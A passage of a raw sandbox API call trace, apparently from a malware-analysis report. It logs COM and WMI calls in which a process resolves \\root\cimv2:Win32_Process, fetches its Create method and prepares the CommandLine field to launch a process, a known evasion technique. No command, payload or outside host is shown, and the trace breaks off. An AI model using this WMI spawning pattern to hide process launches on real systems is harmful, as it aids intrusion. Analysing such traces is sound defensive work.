out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0070.740] WbemDefPath:IUnknown:Release (This=0x1becfbd0) returned 0x3 [0070.740] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0070.740] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0070.740] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea12b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0070.740] WbemDefPath:IUnknown:Release (This=0x1bea12b0) returned 0x2 [0070.740] WbemDefPath:IUnknown:Release (This=0x1bea12b0) returned 0x1 [0070.740] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0070.740] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0070.740] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea12b0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea12b0) returned 0x0 [0070.740] WbemDefPath:IUnknown:AddRef (This=0x1bea12b0) returned 0x3 [0070.740] WbemDefPath:IUnknown:Release (This=0x1bea12b0) returned 0x2 [0070.740] WbemDefPath:IWbemPath:SetText (This=0x1bea12b0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0070.740] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1430, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0070.740] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea12b0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0070.740] WbemDefPath:IWbemPath:GetText (in: This=0x1bea12b0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0070.740] WbemDefPath:IWbemPath:GetText (in: This=0x1bea12b0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0070.741] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bea1430) returned 0x0 [0070.741] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea12b0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0070.741] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea12b0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0070.741] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea12b0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0070.741] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea1430, uIndex=0x0, pszName="ROOT") returned 0x0 [0070.741] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea12b0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0070.741] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea12b0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0070.741] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea1430, uIndex=0x1, pszName="CIMV2") returned 0x0 [0070.741] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bea1430, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0070.741] WbemDefPath:IWbemPath:SetClassName (This=0x1bea1430, Name="Win32_Process") returned 0x0 [0070.741] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1430, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0070.741] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1430, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0070.741] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1430, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0070.741] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1430, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0070.741] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1430, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0070.741] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1430, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0070.741] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1430, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0070.741] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1430, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0070.742] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1670, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0070.742] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1670, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0070.742] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1670, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0070.742] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1430, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0070.742] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1430, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0070.742] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0070.742] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0070.742] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0070.742] IUnknown:Release (This=0x111f638) returned 0x1 [0070.744] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1bedb5b0) returned 0x0 [0070.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bedb5b0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0070.744] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bedb5b0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bea11f0) returned 0x0 [0070.744] WbemDefPath:IUnknown:Release (This=0x1bedb5b0) returned 0x0 [0070.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea11f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bea11f0) returned 0x0 [0070.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea11f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0070.745] WbemDefPath:IUnknown:AddRef (This=0x1bea11f0) returned 0x3 [0070.745] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea11f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0070.745] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea11f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0070.745] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea11f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1bedb5f0) returned 0x0 [0070.745] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bedb5f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0070.745] WbemDefPath:IUnknown:Release (This=0x1bedb5f0) returned 0x3 [0070.745] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0070.745] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0070.745] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea11f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0070.745] WbemDefPath:IUnknown:Release (This=0x1bea11f0) returned 0x2 [0070.745] WbemDefPath:IUnknown:Release (This=0x1bea11f0) returned 0x1 [0070.745] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0070.745] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0070.745] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea11f0, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bea11f0) returned 0x0 [0070.745] WbemDefPath:IUnknown:AddRef (This=0x1bea11f0) returned 0x3 [0070.745] WbemDefPath:IUnknown:Release (This=0x1bea11f0) returned 0x2 [0070.746] WbemDefPath:IWbemPath:SetText (This=0x1bea11f0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0070.746] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1670, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0070.746] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1670, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0070.746] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1670, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0070.746] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0070.746] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0070.746] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0070.746] IUnknown:Release (This=0x111f638) returned 0x1 [0070.748] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bedb530) returned 0x0 [0070.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bedb530, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0070.748] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bedb530, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea1130) returned 0x0 [0070.748] WbemDefPath:IUnknown:Release (This=0x1bedb530) returned 0x0 [0070.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1130, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea1130) returned 0x0 [0070.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1130, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0070.749] WbemDefPath:IUnknown:AddRef (This=0x1bea1130) returned 0x3 [0070.749] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1130, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0070.749] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1130, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0070.749] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1130, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bedb3f0) returned 0x0 [0070.749] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bedb3f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0070.749] WbemDefPath:IUnknown:Release (This=0x1bedb3f0) returned 0x3 [0070.749] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0070.749] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0070.749] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1130, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0070.749] WbemDefPath:IUnknown:Release (This=0x1bea1130) returned 0x2 [0070.749] WbemDefPath:IUnknown:Release (This=0x1bea1130) returned 0x1 [0070.749] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0070.749] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0070.749] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1130, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea1130) returned 0x0 [0070.749] WbemDefPath:IUnknown:AddRef (This=0x1bea1130) returned 0x3 [0070.749] WbemDefPath:IUnknown:Release (This=0x1bea1130) returned 0x2 [0070.750] WbemDefPath:IWbemPath:SetText (This=0x1bea1130, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0070.750] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea11f0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0070.750] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1130, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0070.750] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1130, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0070.750] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1130, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0070.750] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bea11f0) returned 0x0 [0070.750] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1130, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0070.750] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1130, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0070.750] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1130, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0070.750] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea11f0, uIndex=0x0, pszName="root") returned 0x0 [0070.750] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1130, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0070.750] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1130, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0070.750] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea11f0, uIndex=0x1, pszName="cimv2") returned 0x0 [0070.750] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea1130, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0070.750] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea1130, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0070.750] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea11f0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0070.750] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea11f0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0070.750] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea11f0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0070.750] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1670, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0070.750] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1670, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0070.750] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1670, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0070.750] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1670, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0070.751] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1670, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0070.751] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1670, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0070.751] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea11f0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0070.751] WbemDefPath:IWbemPath:GetText (in: This=0x1bea11f0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0070.751] WbemDefPath:IWbemPath:GetText (in: This=0x1bea11f0, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0070.751] WbemDefPath:IWbemPath:GetText (in: This=0x1bea11f0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0070.751] WbemDefPath:IWbemPath:GetText (in: This=0x1bea11f0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0070.751] IWbemServices:GetObject (in: This=0x1bf29760, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x11e8780, ppCallResult=0x0) returned 0x0 [0070.787] IWbemClassObject:GetMethod (in: This=0x11e8780, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x11e8af0, ppOutSignature=0x1b2fd9e0*=0x11e8e60) returned 0x0 [0070.787] IWbemClassObject:SpawnInstance (in: This=0x11e8af0, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf1b510) returned 0x0 [0070.788] IWbemClassObject:Get (in: This=0x1bf1b510, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x298d488*=0, plFlavor=0x298d48c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x298d488*=8, plFlavor=0x298d48c*=32) returned 0x0 [0070.788] IWbemClassObject:Get (in: This=0x1bf1b510, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x298d488*=8, plFlavor=0x298d48c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x298d488*=8, 